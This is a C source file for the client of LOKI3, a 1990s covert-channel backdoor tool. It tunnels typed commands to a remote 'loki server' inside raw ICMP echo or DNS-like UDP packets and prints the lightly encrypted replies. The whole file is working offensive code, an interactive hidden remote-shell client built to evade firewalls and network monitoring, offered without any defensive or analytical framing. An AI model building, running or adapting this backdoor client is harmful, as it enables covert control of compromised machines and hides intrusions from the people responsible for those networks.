/* * LOKI3 * * [ loki.c ] * * 1996/7 Guild Corporation Worldwide [daemon9] */ #include "loki.h" jmp_buf env; struct loki sdg, rdg; int verbose = OK, cflags = 0, ripsock = 0, tsock = 0; uint32_t p_read = 0; /* packets read */ int main(int argc, char *argv[]) { int n; static int prot = IPPROTO_ICMP, one = 1, c = 0; static uint16_t loki_id = 0; int timer = MIN_TIMEOUT; uint8_t buf[BUFSIZE] = {0}; struct protoent *pprot = 0; struct sockaddr_in sin = {0}; /* Ensure we have proper permissions */ if (getuid() || geteuid()) { err_exit(1, 1, verbose, L_MSG_NOPRIV); } loki_id = getpid(); /* Allows us to individualize each * same protocol loki client session * on a given host. */ //bzero((struct sockaddr_in *)&sin, sizeof(sin)); while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF) { switch (c) { case 'v': /* change verbosity */ verbose = atoi(optarg); break; case 'd': /* destination address of daemon */ strncpy((char *)buf, optarg, BUFSIZE - 1); sin.sin_family = AF_INET; sin.sin_addr.s_addr = name_resolve((char *)buf); if (sin.sin_addr.s_addr == 0x00000000) { err_exit(1, 1, verbose, "\n[fatal] name lookup failed"); } break; case 't': /* change alarm timer */ if ((timer = atoi(optarg)) < MIN_TIMEOUT) err_exit(1, 0, 1, "Invalid timeout.\n"); break; case 'p': /* select transport protocol */ switch (optarg[0]) { case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */ prot = IPPROTO_ICMP; break; case 'u': /* DNS query / reply */ prot = IPPROTO_UDP; break; default: err_exit(1, 0, verbose, "Unknown transport.\n"); } break; default: err_exit(0, 0, 1, C_MSG_USAGE); } } /* we need a destination address */ if (!sin.sin_addr.s_addr) err_exit(0, 0, verbose, C_MSG_USAGE); if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) err_exit(1, 1, 1, L_MSG_SOCKET); /* Raw socket to build packets */ if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) err_exit(1, 1, verbose, L_MSG_SOCKET); #ifdef DEBUG fprintf(stderr, "\nRaw IP socket: "); fd_status(ripsock, OK); #endif /* DEBUG */ #ifdef IP_HDRINCL if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) if (verbose) perror("Cannot set IP_HDRINCL socket option"); #endif /* IP_HDRINCL */ /* register packet dumping function * to be called upon exit */ if (atexit(packets_read) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT); fprintf(stderr, L_MSG_BANNER); fprintf(stderr, "\n\n"); help(); fprintf(stderr, "\n\n"); for (;;) { bzero((uint8_t *)buf, BUFSIZE); fprintf(stderr, PROMPT); /* prompt user for input */ n = read(STDIN_FILENO, buf, BUFSIZE - 1); if (n != -1) { buf[strlen((char *)buf)] = 0; /* Nothing to parse */ if (buf[0] == '\n') continue; /* Escaped command */ if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue; /* Send request to server */ loki_xmit(buf, loki_id, prot, sin, L_REQ); } /* change transports */ if (cflags & NEWTRANS) { close(tsock); prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP; if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) err_exit(1, 1, verbose, L_MSG_SOCKET); pprot = getprotobynumber(prot); if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", pprot -> p_name); cflags &= ~NEWTRANS; continue; } if (cflags & TERMINATE) { /* client should exit */ fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n"); clean_exit(0); } /* Clear TRAP and VALID PACKET flags */ cflags &= (~TRAP & ~VALIDP); /* set alarm singal handler */ if (signal(SIGALRM, catch_timeout) == SIG_ERR) { err_exit(1, 1, verbose, L_MSG_SIGALRM); } /* returns true if we land here as the * result of a longjmp() -- IOW the * alarm timer went off */ if (setjmp(env)) { fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT); cflags |= TRAP; } while (!(cflags & TRAP)) { /* TRAP will not be set unless the * alarm timer expires or we get * an EOT packet */ alarm(timer); /* block until alarm or read */ if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0) perror("[non fatal] network read error"); switch (prot) { /* Is this a valid Loki packet? */ case IPPROTO_ICMP: if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP; break; case IPPROTO_UDP: if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP; break; default: err_exit(1, 0, verbose, L_MSG_WIERDERR); } if (cflags & VALIDP) { #ifdef DEBUG fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c); PACKET_TYPE(rdg); DUMP_PACKET(rdg, c); #endif /* DEBUG */ /* we have a valid packet and can * turn off the alarm timer */ alarm(0); switch (rdg.payload[0]) { /* determine packet type */ case L_REPLY : /* standard reply packet */ bcopy(&rdg.payload[1], buf, BUFSIZE - 1); blur(DECR, BUFSIZE - 1, buf); #ifndef DEBUG fprintf(stderr, "%s", buf); #endif /* DEBUG */ p_read++; break; case L_EOT : /* end of transmission packet */ cflags |= TRAP; p_read++; break; case L_ERR : /* error msg packet (not encrypted) */ bcopy(&rdg.payload[1], buf, BUFSIZE - 1); fprintf(stderr, "%s", buf); break; case L_QUIT: /* termination directive packet */ fprintf(stderr, C_MSG_MUSTQUIT); clean_exit(0); default : fprintf(stderr, "\nUnknown LOKI packet type"); break; } cflags &= ~VALIDP; /* reset VALID PACKET flag */ } } } return 0; } /* * SIGALRM signal handler. We reset the alarm timer and default signal * signal handler, then restore our stack frame from the point that * setjmp() was called. */ void catch_timeout(int signo) { alarm(0); /* reset alarm timer */ /* reset SIGALRM, our handler will be again set after we longjmp()*/ if (signal(SIGALRM, catch_timeout) == SIG_ERR) { err_exit(1, 1, verbose, L_MSG_SIGALRM); } /* restore environment */ longjmp(env, 1); } /* * Build and transmit Loki packets (client version) */ void loki_xmit(uint8_t *payload, uint16_t loki_id, int prot, struct sockaddr_in sin, int ptype) { bzero((struct loki *)&sdg, LOKIP_SIZE); /* Encrypt and load payload, unless * we are doing key management */ if (ptype != L_PK_REQ) { blur(ENCR, BUFSIZE - 1, payload); } bcopy(payload, &sdg.payload[1], BUFSIZE - 1); if (prot == IPPROTO_ICMP) { #ifdef NET3 /* Our workaround. */ sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY; #else sdg.ttype.icmph.icmp_type = ICMP_ECHO; #endif /* NET3 */ sdg.ttype.icmph.icmp_code = 0; sdg.ttype.icmph.icmp_id = loki_id; /* Session ID */ sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */ sdg.payload[0] = ptype; sdg.ttype.icmph.icmp_cksum = i_check((uint16_t *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE); } if (prot == IPPROTO_UDP) { sdg.ttype.udph.uh_sport = loki_id; sdg.ttype.udph.uh_dport = NL_PORT; sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE); sdg.payload[0] = ptype; sdg.ttype.udph.uh_sum = i_check((uint16_t *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE); } sdg.iph.ip_v = 0x4; sdg.iph.ip_hl = 0x5; sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE); sdg.iph.ip_ttl = 0x40; sdg.iph.ip_p = prot; sdg.iph.ip_dst = sin.sin_addr.s_addr; if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, 0, (struct sockaddr *) &sin, sizeof(sin)) < LOKIP_SIZE)) if (verbose) perror("[non fatal] truncated write"); } /* * help is here */ void help() { fprintf(stderr, "%s\t\t- you are here\n" "%s xx\t- change alarm timeout to xx seconds (minimum of %d)\n" "%s\t\t- query loki server for client statistics\n" "%s\t- query loki server for all client statistics\n" "%s\t\t- swap the transport protocol ( UDP <-> ICMP ) [in beta]\n" "%s\t\t- quit the client\n" "%s\t- quit this client and kill all other clients (and the server)\n" "%s dest\t- proxy to another server [ UNIMPLIMENTED ]\n" "%s dest\t- redirect to another client [ UNIMPLIMENTED ]\n", HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_C); } /* * parse escaped commands */ int c_parse(uint8_t *buf, int *timer) { cflags &= ~VALIDC; /* help */ if (!strncmp((char *)buf, HELP, sizeof(HELP) - 1) || buf[1] == '?') { help(); return NOK; } /* change alarm timer */ else if (!strncmp((char *)buf, TIMER, sizeof(TIMER) - 1)) { cflags |= VALIDC; (*timer) = atoi((char *)&buf[sizeof(TIMER) - 1]) > MIN_TIMEOUT ? atoi((char *)&buf[sizeof(TIMER) - 1]) : MIN_TIMEOUT; fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer); return NOK; } /* Quit client, send notice to server */ else if (!strncmp((char *)buf, QUIT_C, sizeof(QUIT_C) - 1)) cflags |= (TERMINATE | VALIDC); /* Quit client, send kill to server */ else if (!strncmp((char *)buf, QUIT_ALL, sizeof(QUIT_ALL) - 1)) cflags |= (TERMINATE | VALIDC); /* Request server-side statistics */ else if (!strncmp((char *)buf, STAT_C, sizeof(STAT_C) - 1)) cflags |= VALIDC; /* Swap transport protocols */ else if (!strncmp((char *)buf, SWAP_T, sizeof(SWAP_T) - 1)) { /* When using strong crypto we do not * want to swap protocols. */ cflags |= (NEWTRANS | VALIDC); } /* Request server to redirect output * to another LOKI client */ else if (!strncmp((char *)buf, REDIR_C, sizeof(REDIR_C) - 1)) cflags |= (REDIRECT | VALIDC); /* Request server to simply proxy * requests to another LOKI server */ else if (!strncmp((char *)buf, PROXY_D, sizeof(PROXY_D) - 1)) cflags |= (PROXY | VALIDC); /* Bad command trap */ if (!(cflags & VALIDC)) { fprintf(stderr, "Unrecognized command %s\n",buf); return NOK; } return OK; } /* * Dumps packets read by client... */ void packets_read() { fprintf(stderr, "Packets read: %d\n", p_read); } /* EOF */